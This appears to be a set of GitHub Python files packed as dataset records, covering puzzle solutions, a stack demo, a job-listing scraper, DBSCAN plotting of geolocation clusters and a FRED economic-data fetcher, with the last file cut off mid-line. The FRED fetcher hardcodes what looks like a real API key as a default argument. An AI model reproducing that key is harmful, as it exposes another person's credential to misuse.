epochs_til_checkpoint=opt.epochs_til_ckpt,\n model_dir=root_path, loss_fn=loss_fn, iters_til_checkpoint=opt.iters_til_ckpt, summary_fn=summary_fn,\n clip_grad=False, val_loss_fn=val_loss_fn, overwrite=True)\n\n","repo_name":"anthonysimeonov/relational_ndf","sub_path":"src/rndf_robot/training/train_vnn_sdf_net.py","file_name":"train_vnn_sdf_net.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"21"} +{"seq_id":"3754898762","text":"# [BOJ] 1941. 소문난 칠공주\nimport sys\ninput = sys.stdin.readline\nfrom itertools import combinations\nfrom collections import deque\n\n\ndef check(lst):\n # 7개의 좌표가 서로 연결되어 있는지, S의 수가 4개 이상인지 체크\n cnt = 0\n y = 0\n\n board = [[0] * 5 for _ in range(5)] # 방문 체크 배열\n board[lst[0][0]][lst[0][1]] = 1 # 시작값 방문 처리\n\n # 오른쪽, 아래, 왼쪽, 위\n di = [0, 1, 0, -1]\n dj = [1, 0, -1, 0]\n\n # bfs로 탐색\n q = deque()\n q.append(lst[0])\n while q:\n idx = q.popleft()\n ii, jj = idx[0], idx[1]\n cnt += 1\n\n # Y인지 S인지 확인\n if L[ii][jj] == 'Y':\n y += 1\n\n if y >= 4: # y의 수가 4가 되면 (S가 4 이상이 될 수 없으면) 종료\n return \"Yexception\"\n\n for k in range(4):\n ni, nj = ii + di[k], jj + dj[k]\n # 범위 체크 + 조합 포함 + 방문 체크\n if 0 <= ni < 5 and 0 <= nj < 5 and [ni, nj] in lst and board[ni][nj] == 0:\n q.append([ni, nj])\n board[ni][nj] = 1 # 방문 처리\n\n if cnt == 7:\n return True\n else:\n return False\n\n\nL = [[] for _ in range(5)]\nfor j in range(5):\n i = input().rstrip()\n for ii in i:\n L[j].append(ii)\n\nP = [] # 5 * 5 배열에서 가능한 좌표값들\nfor i in range(5):\n for j in range(5):\n P.append([i, j])\n\nC = list(combinations(P, 7)) # 7명이 될 수 있는 모든 좌표의 경우\nans = 0\n\nfor c in C:\n if check(c) == True:\n ans += 1\n\nprint(ans)\n","repo_name":"KB-team3/AlgoGGang","sub_path":"신선영/Week_03/B1941_소문난칠공주.py","file_name":"B1941_소문난칠공주.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"ko","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"1835403621","text":"# -*- coding: cp1252 -*-\n\ndef testme(param):\n hasLetter = False\n hasNum = False\n\n if len(param) < 6:\n return False\n \n for i in param:\n if i.isalpha():\n hasLetter = True\n if i.isdigit():\n hasNum = True\n \n if hasLetter and hasNum == True:\n return True","repo_name":"koskisami/learning-py","sub_path":"ch7/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21579538078","text":"import fitz\n\n# Path of the PDF file\ninput_file = r\"file_updated/AI Impact1.pdf\"\n\n# Path for the output PDF file\noutput_file = r\"file_updated/AI Impact.pdf\"\n\n# Opening the PDF file and creating a handle for it\nfile_handle = fitz.open(input_file)\n\n# The page no. denoted by the variable will be deleted\npage = 0\n\n# Passing the variable as an argument\nfile_handle.delete_page(page)\n\n# Saving the file\nfile_handle.save(output_file)\n","repo_name":"mevans-code/pdf_utils","sub_path":"delete_pdf_page.py","file_name":"delete_pdf_page.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33732936558","text":"import pandas as pd, numpy as np, matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.cluster import DBSCAN\n\n\n\n\"\"\"\ndata location \n\"\"\"\nfile_path = \"C:/Users/shong/PycharmProjects/sandbox_p2g-sensor-aggregation-and-conflation/rwo_parser/Ingolstadt_data/\"\nmc_path = \"C:/Users/shong/PycharmProjects/sandbox_p2g-sensor-aggregation-and-conflation/rwo_parser/MicroCluster_csv/\"\n\n\"\"\"\nplot scatter chart by feature name\n\"\"\"\n\n\ndef plot_observation_by_feature(feature_name):\n feature_file = feature_name + \"_merged.csv\"\n df = pd.read_csv(file_path + feature_file)\n print('# of observation points : ', len(df))\n df.plot(kind=\"scatter\", x=\"position::longitude_degrees\", y=\"position::latitude_degrees\", alpha=0.4,\n figsize=(20, 20), s=1, label=feature_name + \" observation points\")\n\n plt.legend()\n plt.show()\n\n\n\"\"\"\nplot cluster centroids in cluster result (in file)\n\"\"\"\n\n\ndef plot_cluster_centroids_in_cluster_file(filename):\n df = pd.read_csv(filename)\n print('# of centroids : ', len(df))\n df.plot(kind=\"scatter\", x=\"Lon\", y=\"Lat\", alpha=0.4, figsize=(20, 20), s=1, label=\"centroids (points) in clusters\")\n\n plt.legend()\n plt.show()\n\n\n\"\"\"\nclean dataframe to remove NaN, infinity or a value too large for dtype('float64')\n\"\"\"\n\n\ndef clean_dataset(df):\n assert isinstance(df, pd.DataFrame), \"df needs to be a pd.DataFrame\"\n df.dropna(inplace=True)\n indices_to_keep = ~df.isin([np.nan, np.inf, -np.inf]).any(1)\n return df[indices_to_keep].astype(np.float64)\n\n\n\"\"\"\ncentroid calculation using mean of lat, mean of lon\n\"\"\"\n\n\ndef _get_centermost_point(cluster):\n mean_point = (np.mean(cluster[\"position::latitude_degrees\"]), np.mean(cluster[\"position::longitude_degrees\"]))\n return tuple(mean_point)\n\n\n\"\"\"\ncentroid calculation using sine and cosine\n\"\"\"\n\n\ndef get_centermost_point(cluster):\n x = 0.0\n y = 0.0\n z = 0.0\n\n for i, clus in cluster.iterrows():\n latitude = math.radians(clus[\"position::latitude_degrees\"])\n longitude = math.radians(clus[\"position::longitude_degrees\"])\n x += math.cos(latitude) * math.cos(longitude)\n y += math.cos(latitude) * math.sin(longitude)\n z += math.sin(latitude)\n\n total = len(cluster)\n\n x = x / total\n y = y / total\n z = z / total\n\n central_longitude = math.atan2(y, x)\n central_square_root = math.sqrt(x * x + y * y)\n central_latitude = math.atan2(z, central_square_root)\n\n mean_location = {\n math.degrees(central_latitude),\n math.degrees(central_longitude)\n }\n\n return mean_location\n\n\ndef get_centermost_point2(cluster):\n lat = cluster[\"position::latitude_degrees\"]\n lon = cluster[\"position::longitude_degrees\"]\n mean_location = {\n math.degrees(sum(lat) / len(lat)),\n math.degrees(sum(lon) / len(lon))\n }\n\n return mean_location\n\n\n\"\"\"\nDBSCAN clustering\n\"\"\"\n\n\ndef plot_clusters_with_DBSCAN_by_feature(feature):\n feature_file = feature + \"_merged.csv\"\n df = pd.read_csv(file_path + feature_file)\n geo_labels = [\"position::latitude_degrees\", \"position::longitude_degrees\"]\n new_df = clean_dataset(df[geo_labels])\n\n \"\"\"\n calculate eps, min_sample and DBSCAN\n \"\"\"\n kms_per_radian = 6371.0088\n epsilon = 1.5 / kms_per_radian\n default_eps = 0.00001\n # db = DBSCAN(eps=epsilon, min_samples=2, algorithm='ball_tree', metric='haversine').fit(np.radians(new_df))\n # db = DBSCAN(eps=epsilon, min_samples=2).fit(new_df)\n db = DBSCAN(eps=default_eps, min_samples=2).fit(new_df)\n\n cluster_labels = db.labels_\n num_clusters = len(set(cluster_labels))\n clusters = pd.Series([new_df[cluster_labels == n] for n in range(num_clusters)])\n clusters = clusters[:-1] # remove empty last dataframe\n\n \"\"\"\n centroid of all clusters \n \"\"\"\n centermost_points = clusters.map(_get_centermost_point)\n lats, lons = zip(*centermost_points)\n # rep_points = pd.DataFrame({\"position::longitude_degrees\": lons, \"position::latitude_degrees\": lats})\n\n \"\"\"\n plot clustering results and centroid in lat-lon 2D-space\n \"\"\"\n fig, ax = plt.subplots(figsize=[10, 6])\n rs_scatter = ax.scatter(lons, lats, c='r', edgecolor='None', alpha=0.7, s=30)\n df_scatter = ax.scatter(new_df[\"position::longitude_degrees\"], new_df[\"position::latitude_degrees\"], c='b',\n alpha=0.9, s=3)\n ax.set_title(\"DBSCAN Clustering on \" + feature + \" observations in Ingolstadt\")\n ax.set_xlabel('Longitude')\n ax.set_ylabel('Latitude')\n ax.legend([df_scatter, rs_scatter], [feature + \" Observations\", \"Cluster centers\"], loc='upper right')\n plt.show()\n\n\ndef plot_two_observations(file1, file2):\n df1 = pd.read_csv(file1)\n df2 = pd.read_csv(file2)\n\n fig, ax = plt.subplots(figsize=[10, 6])\n mc_scatter = ax.scatter(df1[\"position::longitude_degrees\"], df1[\"position::latitude_degrees\"], c='#33d7ff',\n alpha=0.9, s=3)\n rs_scatter = ax.scatter(df2[\"position::longitude_degrees\"], df2[\"position::latitude_degrees\"], c='b',\n edgecolor='None', alpha=0.9, s=4)\n ax.set_title(\"Plot observations of two observations\")\n ax.set_xlabel('Longitude')\n ax.set_ylabel('Latitude')\n\n plt.legend()\n plt.show()\n\n\n\"\"\"\nDBSCAN clustering\n\"\"\"\n\n\ndef cluster_only_with_DBSCAN(feature):\n feature_file = feature + \"_merged.csv\"\n df = pd.read_csv(file_path + feature_file)\n geo_labels = [\"position::latitude_degrees\", \"position::longitude_degrees\"]\n\n new_df = clean_dataset(df[geo_labels])\n\n \"\"\"\n calculate eps, min_sample and DBSCAN\n \"\"\"\n kms_per_radian = 6371.0088\n epsilon = 1.5 / kms_per_radian\n default_eps = 0.00001 # 0.002 (2m tolerance for lane boundary), signs and poles are 3m tolerance\n # db = DBSCAN(eps=epsilon, min_samples=2, algorithm='ball_tree', metric='haversine').fit(np.radians(new_df))\n # db = DBSCAN(eps=epsilon, min_samples=2).fit(new_df)\n db = DBSCAN(eps=default_eps, min_samples=2).fit(new_df)\n\n cluster_labels = db.labels_\n num_clusters = len(set(cluster_labels))\n clusters = pd.Series([new_df[cluster_labels == n] for n in range(num_clusters)])\n clusters = clusters[:-1] # FIX: remove empty last dataframe\n print(\"number of clusters : \", num_clusters)\n\n \"\"\"\n centroid of all clusters \n \"\"\"\n centermost_points = clusters.map(_get_centermost_point)\n lats, lons = zip(*centermost_points)\n rep_points = pd.DataFrame({\"position::longitude_degrees\": lons, \"position::latitude_degrees\": lats})\n\n \"\"\"\n plot clustering results and centroid in lat-lon 2D-space\n \"\"\"\n fig, ax = plt.subplots(figsize=[10, 6])\n rs_scatter = ax.scatter(lons, lats, c='b', edgecolor='None', alpha=0.7, s=1)\n ax.set_title(\"DBSCAN Clustering on \" + feature + \" observations in Ingolstadt\")\n ax.set_xlabel('Longitude')\n ax.set_ylabel('Latitude')\n ax.legend([rs_scatter], [\"Cluster centroid\"], loc='upper right')\n\n plt.show()\n\n\ndef read_microcluster_centroids(filename):\n df = pd.read_csv(mc_path + filename)\n X = []\n for i in range(len(df[\"Lon\"])):\n elem = [df[\"Lon\"][i], df[\"Lat\"][i]]\n X.append(elem)\n\n return X\n\n\ndef plot_DBSCAN_Microcluster_by_feature(feature):\n if feature == \"pole\":\n mc_file = \"MicroCluster_poles.csv\"\n elif feature == \"roadboundary\":\n mc_file = \"MicroCluster_road-boundary_only.csv\" # \"MicroCluster_road-boundary.csv\"\n\n dbs_centroids = cluster_only_with_DBSCAN(feature)\n # mc_centroids = read_microcluster_centroids(mc_file)\n mc_centroids = pd.read_csv(mc_path + mc_file)\n\n \"\"\"\n plot both \n \"\"\"\n fig, ax = plt.subplots(figsize=[10, 6])\n mc_scatter = ax.scatter(mc_centroids[\"Lon\"], mc_centroids[\"Lat\"], c='#33d7ff', alpha=0.9, s=3)\n rs_scatter = ax.scatter(dbs_centroids[\"position::longitude_degrees\"], dbs_centroids[\"position::latitude_degrees\"],\n c='b', alpha=0.9, s=4)\n ax.set_title(\"Clustering comparison on \" + feature + \" observations in Ingolstadt\")\n ax.set_xlabel('Longitude')\n ax.set_ylabel('Latitude')\n ax.legend([mc_scatter, rs_scatter], [\"Micro clusters\", \"DBSCAN clusters\"], loc='upper right')\n\n plt.show()\n\n\n\ndef plot_sign_data_3d(sign_df):\n labels = [\"position::longitude_degrees\", \"position::latitude_degrees\", \"position::altitude_meters\", \"details::classification::gfr_group\", \"HadSign\"]\n df = sign_df[labels]\n df[\"HadSign\"] = pd.Categorical(df[\"HadSign\"])\n df[\"sign_code\"] = df[\"HadSign\"].cat.codes\n clustering_labels = [\"position::longitude_degrees\", \"position::latitude_degrees\", \"position::altitude_meters\", \"sign_code\"]\n df_clean = clean_dataset(df[clustering_labels])\n df_clean[\"HadSign\"] = df[\"HadSign\"]\n\n \"\"\"\n set plot size \n \"\"\"\n subplotsize = [12., 10.]\n figuresize = [15., 10.]\n\n left = 0.5 * (1. - subplotsize[0] / figuresize[0])\n right = 1. - left\n bottom = 0.5 * (1. - subplotsize[1] / figuresize[1])\n top = 1. - bottom\n fig = plt.figure(figsize=(figuresize[0], figuresize[1]))\n fig.subplots_adjust(left=left, right=right, bottom=bottom, top=top)\n\n ax = fig.add_subplot(111, projection='3d')\n\n \"\"\"\n colors for each scatter plot\n \"\"\"\n color_labels = df_clean[\"HadSign\"].unique()\n rgb_values = sns.color_palette(\"Set1\", n_colors=len(color_labels))\n color_map = dict(zip(color_labels, rgb_values))\n\n groups = df_clean.groupby(\"HadSign\")\n for name, group in groups:\n ax.plot(group[\"position::longitude_degrees\"], group[\"position::latitude_degrees\"], group[\"position::altitude_meters\"], marker='o', linestyle='',\n ms=1.5, label=name, color=color_map[name])\n\n ax.legend(fontsize=8, bbox_to_anchor=(1.1, 1))\n ax.set_title(\"Sign observation in Ingolstadt\", fontsize=15)\n ax.tick_params(axis='x', labelsize=8)\n ax.tick_params(axis='y', labelsize=8)\n ax.tick_params(axis='z', labelsize=8)\n\n ax.set_xlabel('Longitude', fontsize=15)\n ax.set_ylabel('Latitude', fontsize=15)\n ax.set_zlabel('Altitude', fontsize=15)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n \"\"\"\n # examples \n\n #plot by feature name (\"roadboundary\", \"lanemarking\", \"roadboundary\", \"pole\")\n plot_observation_by_feature(\"barrier\")\n\n #plot the cluster centroids\n plot_cluster_centroids_in_cluster_file(mc_path + \"MicroCluster_road-boundary_only.csv\")\n\n #plot two observations\n eg_file1 = \"C:/Users/shong/PycharmProjects/sandbox_p2g-sensor-aggregation-and-conflation/rwo_parser/Ingolstadt_data/lanemarking_merged.csv\"\n eg_file2 = \"C:/Users/shong/PycharmProjects/sandbox_p2g-sensor-aggregation-and-conflation/rwo_parser/Ingolstadt_data/roadboundary_merged.csv\"\n plot_two_observations(eg_file1, eg_file2)\n\n # plot clusters by feature (\"pole\", \"roadboundary\", \"pole\", \"pole\")\n feature_type = \"roadboundary\"\n plot_clusters_with_DBSCAN_by_feature(feature_type)\n \"\"\"\n\n # cluster_only_with_DBSCAN(feature_type)\n feature_type = \"roadboundary\"\n plot_DBSCAN_Microcluster_by_feature(feature_type)\n","repo_name":"SoojungHong/Geolocation-data-analysis","sub_path":"plot_points_clusters.py","file_name":"plot_points_clusters.py","file_ext":"py","file_size_in_byte":11100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3752781734","text":"import gym\nfrom gym import envs\n\nall_envs = envs.registry.all()\nenv_ids = [env_spec.id for env_spec in all_envs]\nprint(sorted(env_ids))\n\nenv = gym.make(\"Pong-v0\")\n\nobservation = env.reset()\n\nprint(observation)\n\n\nrender = True\n\nif render:\n env.render()\n# from ale_py import ALEInterface\n# from ale_py.roms import SpaceInvaders\n\n# ale = ALEInterface()\n# ale.loadROM(SpaceInvaders)","repo_name":"e-coucou/Machine-Learning","sub_path":"0-Drafts/FlyBirds/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31116241924","text":"class Stack:\r\n def __init__(self):\r\n self.stack=[]\r\n #view stack\r\n def views(self):\r\n try:\r\n li = list()\r\n for i in self.stack:\r\n li.append(i)\r\n li.reverse()\r\n for j in li:\r\n print(j)\r\n except:\r\n print(\"stack in empty\")\r\n # to add\r\n def add(self,data):\r\n try:\r\n self.stack.append(data)\r\n return (\"Added\")\r\n except:\r\n return \"Something went wrong\"\r\n #to view\r\n def peek(self):\r\n try:\r\n return self.stack[-1]\r\n except:\r\n return \"stack is empty.\"\r\n #to remove\r\n def remove(self):\r\n try:\r\n if len(self.stack)<=0:\r\n return \"Stack is empty\"\r\n else:\r\n return self.stack.pop()\r\n except:\r\n return \"Something went wrong\"\r\n\r\ndef main():\r\n try:\r\n print(\"Options:\")\r\n print(\"1.View top element\")\r\n print(\"2.Add element\")\r\n print(\"3.Delete element\")\r\n print(\"4.View stack\")\r\n opt=int(input(\"Enter the operation to be performed: \"))\r\n if(opt==1):\r\n print(sta.peek())\r\n elif(opt==2):\r\n sta.add(input(\"Enter the element to be added: \"))\r\n elif(opt==3):\r\n sta.remove()\r\n elif (opt == 4):\r\n sta.views()\r\n else:\r\n print(\"enter valid option\")\r\n fo=input(\"do you want to perform further operations(Yes/No): \")\r\n if(fo.lower()==\"yes\"):\r\n main()\r\n elif(fo.lower()==\"no\"):\r\n print(\"Bye!\")\r\n else:\r\n print(\"enter valid option.\")\r\n except:\r\n print(\"something went wrong\")\r\nsta=Stack()\r\nmain()","repo_name":"PriyaMallick/DSinPythonCRUD","sub_path":"Stack.py","file_name":"Stack.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39659281022","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 1 22:36:06 2022\n\n@author: jeff\n fred_api.py\n This function uses FRED's API to retrieve data.\n\"\"\"\n\nimport pandas as pd\n\ndef fred_api(series_id,realtime_start='1776-07-04',realtime_end='9999-12-31',\n key='0588ecec1c9cbf3d37c551e9f821a1c9'):\n\n #tnow=pd.to_datetime('today').now()\n\n #key='0588ecec1c9cbf3d37c551e9f821a1c9'\n\n #series_id='DFF'\n\n #realtime_start=(tnow-pd.DateOffset(years=1)).strftime('%Y-%m-%d')\n #realtime_end=tnow.strftime('%Y-%m-%d')\n\n # Use 1776-07-04 as default start\n # 9999-12-31 as default end\n #&realtime_start=1776-07-04&realtime_end=9999-12-31&\n\n\n url=('https://api.stlouisfed.org/fred/series/observations?series_id='+\n series_id+\n '&realtime_start='+realtime_start+\n '&realtime_end='+realtime_end+\n '&api_key='+key+'&file_type=json')\n \n # url=('https://api.stlouisfed.org/fred/series/observations?series_id='+\n # series_id+\n # '&realtime_end='+realtime_end+\n # '&api_key='+key+'&file_type=json')\n\n # The more basic query url:\n # url_ex=('https://api.stlouisfed.org/fred/series?series_id='+\n # series_id+'&api_key='+\n # key+'&file_type=json')\n\n json_data=pd.read_json(url)\n\n nobs=len(json_data['observations'])\n\n dates=[]\n values=[]\n\n #for obs in range(nobs-365,nobs):\n for obs in range(nobs):\n values.append(json_data['observations'][obs]['value'])\n dates.append(json_data['observations'][obs]['date'])\n \n series_data=pd.Series(data=pd.to_numeric(values,errors='coerce'),\n index=pd.to_datetime(dates),\n name=series_id)\n \n return series_data","repo_name":"jjwalkerwvu/finance","sub_path":"codes/data_cleaning/fred_api.py","file_name":"fred_api.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23509292969","text":"import os\nimport csv\nimport requests\nfrom bs4 import BeautifulSoup\n\nos.system(\"clear\")\nalba_url = \"http://www.alba.co.kr\"\n\ndef get_alba_link():\n result = requests.get(alba_url)\n soup = BeautifulSoup(result.text, \"html.parser\")\n results = soup.find(\"tbody\").find(\"tr\")\n superbrands = soup.find(\"div\", {\"id\":\"MainSuperBrand\"})\n brands = superbrands.find(\"ul\", {\"class\":\"goodsBox\"}).find_all(\"li\", {\"class\" : \"impact\"})\n alba_link = []\n company_list = []\n for brand in brands :\n link = brand.find(\"a\")[\"href\"]\n company = brand.find(\"strong\").string\n alba_link.append(link)\n company_list.append(company)\n return alba_link, company_list\n \n# find url\ndef extract_info(html) : \n try :\n place = html.find(\"td\", {\"class\": \"local first\"}).get_text().replace(\"\\xa0\", \" \")\n except :\n place = \"None\"\n \n title = html.find(\"span\", {\"class\" : \"company\"})\n if title is not None :\n title = title.get_text(strip=True)\n else :\n title = \"None\"\n time = html.find(\"span\", {\"class\" : \"time\"})\n if time is not None :\n time = time.get_text(strip=True)\n else :\n time = \"None\"\n pay = html.find(\"td\", {\"class\":\"pay\"})\n if pay is not None :\n pay = pay.get_text(strip=True)\n else :\n pay = \"None\"\n date = html.find(\"td\", {\"class\":\"regDate last\"})\n if date is not None :\n date = date.get_text(strip=True)\n else :\n date = \"None\"\n\n return {\n \"place\" : place,\n \"title\" : title,\n \"time\" : time,\n \"pay\" : pay,\n \"date\" : date\n }\n \n\ndef extract_jobs(links):\n jobs = []\n for i in range(len(links)):\n result = requests.get(f\"{links[i]}\")\n soup = BeautifulSoup(result.text, \"html.parser\")\n results = soup.find_all(\"tr\")\n for result in results:\n job = extract_info(result)\n jobs.append(job)\n print(jobs)\n \n return jobs\n\ndef save_to_file(infos, company_list):\n for i in range(len(company_list)) : \n file = open(f\"{company_list[i]}.csv\", mode = \"w\")\n writer = csv.writer(file)\n writer.writerow([\"place\", \"title\", \"time\", \"pay\", \"date\"])\n for info in infos :\n writer.writerow(list(info.values()))\n return\n\ndef main():\n link_list, company_list = get_alba_link()\n infos = extract_jobs(link_list)\n infos = infos[1::2]\n save_to_file(infos, company_list)\n\nmain()\n","repo_name":"nitronium102/python-scrapper","sub_path":"day7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37826540900","text":"# Crie um programa onde o usuário possa digitar cinco valores númericos e cadastre-os em uma lista,\n# já na posição correta de inserção(sem usar o sort()). No final, mostre a lista ordenada na tela\nvar = []\nfor c in range(0,5):\n n = int(input('Digite um valor: '))\n if c == 0:\n print(f'{n} foi adicionado na posição [0]')\n var.append(n)\n\n elif var[0] > n:\n print(f'{n} foi adicionado na posição [0]')\n var.insert(0,n)\n\n elif var[-1] < n:\n print(f'{n} foi adicionado na posição [{c}]')\n var.append(n)\n\n elif n > var[0] and n < var[1]:\n print(f'{n} foi adicianado na posição [1]')\n var.insert(1,n)\n\n elif n < var[-1] and n > var[-2]:\n print(f'{n} foi adicionado na posição [{c-1}]')\n var.insert(-1,n)\n\nprint(f'Os valores digitados forom {var}')\n\n#Respota.\n'''\nlista = []\nfor c in range(0,5):\n n = int(input('Digiteum Valor: '))\n if c == 0 or n > lista[-1]:\n lista.append(n)\n print('Adicionado ao final da lista...')\n else:\n pos = 0\n while pos < len(lista):\n if n <= lista[pos]:\n lista.insert(pos,n)\n print(f'Adicionado na posição {pos}')\n break\n pos += 1\nprint('-='*30)\nprint(f'Of valores digitados em ordem foram {lista}')\n'''","repo_name":"ataabi/pythonteste","sub_path":"Desafios/ex080.py","file_name":"ex080.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2162518387","text":"from .process_JSONs import dump_json, load_json\nfrom .process_labelledData import define_d_lab_data_to_be_upd, enrich_d_lab_data\nimport numpy as np\nimport operator\nimport os\nimport statistics\nimport sys\nfrom typing import Dict, List, Tuple\n\n\ndef link_sims_to_rest_iteration(\n ambig_item_code: str,\n d_lab_data: Dict,\n d_rest: Dict,\n meth: str,\n l_cosine_sims: np.ndarray,\n d_mapping_new_orig: Dict,\n d_mapping_orig_new: Dict,\n l_d_entries: List\n) -> Tuple[Dict, List]:\n \"\"\"Link precalculated similarities to rest set sentences for an individual iteration.\n :param ambig_item_code: ambiguous item code.\n :param d_lab_data: (enriched) labelled data dictionary from the previous iteration.\n :param d_rest: dictionary containing the rest set.\n :param meth: way in which the cosine similarity should be calculated.\n :param l_cosine_sims: list of cosine similarities.\n :param d_mapping_new_orig: mapping dictionary in which the new sentence IDs are linked to their original data.\n :param d_mapping_orig_new: mapping dictionary in which the original sentence data are linked to their new IDs.\n :param l_d_entries: list of entries which should be consulted to know which sentences are included as labelled data\n for each sense. The original, manually labelled sentences are stored under the 'l_example_sents' entry, and the\n automatically added sentences are stored under the 'l_example_sents_autom_added' entry.\n :return: a dictionary containing all similarity data (cosine similarity values, rankings, etc.) for each sentence in\n the set and a list containing all data on the difference between the top two maintained values for each sentence in\n the set.\n \"\"\"\n n_senses = len(d_lab_data[ambig_item_code])\n\n # loop over labelled data dictionary to extract all necessary information\n l_ids_example_sents = []\n d_ids_example_sents_per_sense = {}\n\n for sense in d_lab_data[ambig_item_code]:\n d_ids_example_sents_per_sense[sense] = []\n\n for entry in l_d_entries:\n\n if entry in d_lab_data[ambig_item_code][sense]:\n\n for d_sent in d_lab_data[ambig_item_code][sense][entry]:\n sent_id = d_sent[\"sent_ID\"]\n l_ids_example_sents.append(sent_id)\n d_ids_example_sents_per_sense[sense].append(sent_id)\n\n # extract similarities from 'l_cosine_sims'\n d_sims_linked = {}\n\n for target_sent_orig in d_rest:\n target_sent_new = d_mapping_orig_new[target_sent_orig][\"id_new\"]\n\n if target_sent_new not in l_ids_example_sents:\n d_sims_linked[target_sent_orig] = {\"sim_scores\": {}, \"ranking_sense\": {}}\n\n for target_sent_orig in d_rest:\n target_sent_new = d_mapping_orig_new[target_sent_orig][\"id_new\"]\n idx_target_sent_new = d_mapping_orig_new[target_sent_orig][\"idx_l_sims\"]\n\n if target_sent_new not in l_ids_example_sents:\n\n for sense in d_lab_data[ambig_item_code]:\n l_sims = []\n\n for example_sent_new in d_ids_example_sents_per_sense[sense]:\n idx_example_sent_new = d_mapping_new_orig[example_sent_new][\"idx_l_sims\"]\n partial_sim = l_cosine_sims[idx_target_sent_new][idx_example_sent_new]\n l_sims.append(partial_sim)\n\n sim_max = max(l_sims)\n sim_avg_score = statistics.mean(l_sims)\n\n if meth == \"cs_max\":\n d_sims_linked[target_sent_orig][\"sim_scores\"][sense] = sim_max\n\n if meth == \"cs_avg\":\n d_sims_linked[target_sent_orig][\"sim_scores\"][sense] = sim_avg_score\n\n if meth == \"cs_max_plus_avg\":\n d_sims_linked[target_sent_orig][\"sim_scores\"][sense] = (sim_max + sim_avg_score) / 2\n\n # determine for each sentence the corresponding output triplet information ('max_sense', 'max_sim' and 'diff')\n l_max = []\n l_diff = []\n\n for sent in d_sims_linked:\n dic_scores = d_sims_linked[sent][\"sim_scores\"].items()\n max_sense = max(dic_scores, key=operator.itemgetter(1))[0]\n max_sim = max(dic_scores, key=operator.itemgetter(1))[1]\n second_max_sense = sorted(dic_scores, key=operator.itemgetter(1), reverse=True)[1][0]\n second_max_sim = sorted(dic_scores, key=operator.itemgetter(1), reverse=True)[1][1]\n diff = max_sim - second_max_sim\n d_sims_linked[sent][\"max\"] = (max_sense, max_sim, diff)\n l_max.append((sent, max_sense, max_sim, diff))\n l_diff.append((sent, max_sense, max_sim, second_max_sense, second_max_sim, diff))\n\n # determine rankings (one according to the cosine similarity values and one according to the differences between the\n # two top maintained values)\n d_ranking = {}\n\n for loop in range(n_senses):\n id_sense = str(loop + 1)\n d_ranking[id_sense] = {}\n l_max_sense_score = []\n l_max_sense_diff = []\n\n for tup in l_max:\n sent_id = tup[0]\n max_sense = tup[1]\n max_sim = tup[2]\n diff = tup[3]\n\n if max_sense == id_sense:\n l_max_sense_score.append([sent_id, max_sense, max_sim])\n l_max_sense_diff.append([sent_id, max_sense, diff])\n\n l_max_sense_score_sorted = sorted(l_max_sense_score, key=lambda x: x[2], reverse=True)\n l_max_sense_diff_sorted = sorted(l_max_sense_diff, key=lambda x: x[2], reverse=True)\n\n d_score_ranked = {}\n\n for idx, l_sent in enumerate(l_max_sense_score_sorted):\n ranking = idx + 1\n l_sent.append(ranking)\n\n for l_sent in l_max_sense_score_sorted:\n d_score_ranked[l_sent[0]] = (l_sent[1], l_sent[2], l_sent[3])\n\n d_diff_ranked = {}\n\n for idx, l_sent in enumerate(l_max_sense_diff_sorted):\n ranking = idx + 1\n l_sent.append(ranking)\n\n for l_sent in l_max_sense_diff_sorted:\n d_diff_ranked[l_sent[0]] = (l_sent[1], l_sent[2], l_sent[3])\n\n d_ranking[id_sense][\"score\"] = d_score_ranked\n d_ranking[id_sense][\"diff\"] = d_diff_ranked\n\n # combine the two rankings into one single ranking by taking the average of the two ranking positions\n d_sum_ranking_prov = {}\n\n for sent in d_sims_linked:\n n_occurrences = 0\n sum_rankings_sent = 0\n l_sent_senses = []\n\n for sense in d_ranking:\n\n if sense not in d_sum_ranking_prov:\n d_sum_ranking_prov[sense] = []\n\n if sent in d_ranking[sense][\"score\"]:\n d_sims_linked[sent][\"ranking_sense\"][\"score\"] = (sense, d_ranking[sense][\"score\"][sent][2])\n n_occurrences += 1\n sum_rankings_sent += d_ranking[sense][\"score\"][sent][2]\n l_sent_senses.append(sense)\n\n if sent in d_ranking[sense][\"diff\"]:\n d_sims_linked[sent][\"ranking_sense\"][\"diff\"] = (sense, d_ranking[sense][\"diff\"][sent][2])\n n_occurrences += 1\n sum_rankings_sent += d_ranking[sense][\"diff\"][sent][2]\n l_sent_senses.append(sense)\n\n assert n_occurrences == 2, \\\n f\"Invalid number of sentence occurrences ({n_occurrences}) in d_ranking for sentence {sent}.\"\n assert len(set(l_sent_senses)) == 1\n sense = l_sent_senses[0]\n d_sum_ranking_prov[sense].append([sent, sense, sum_rankings_sent])\n\n d_sum_ranking = {}\n\n for sense in d_sum_ranking_prov:\n d_sum_ranking[sense] = {}\n l_sorted = 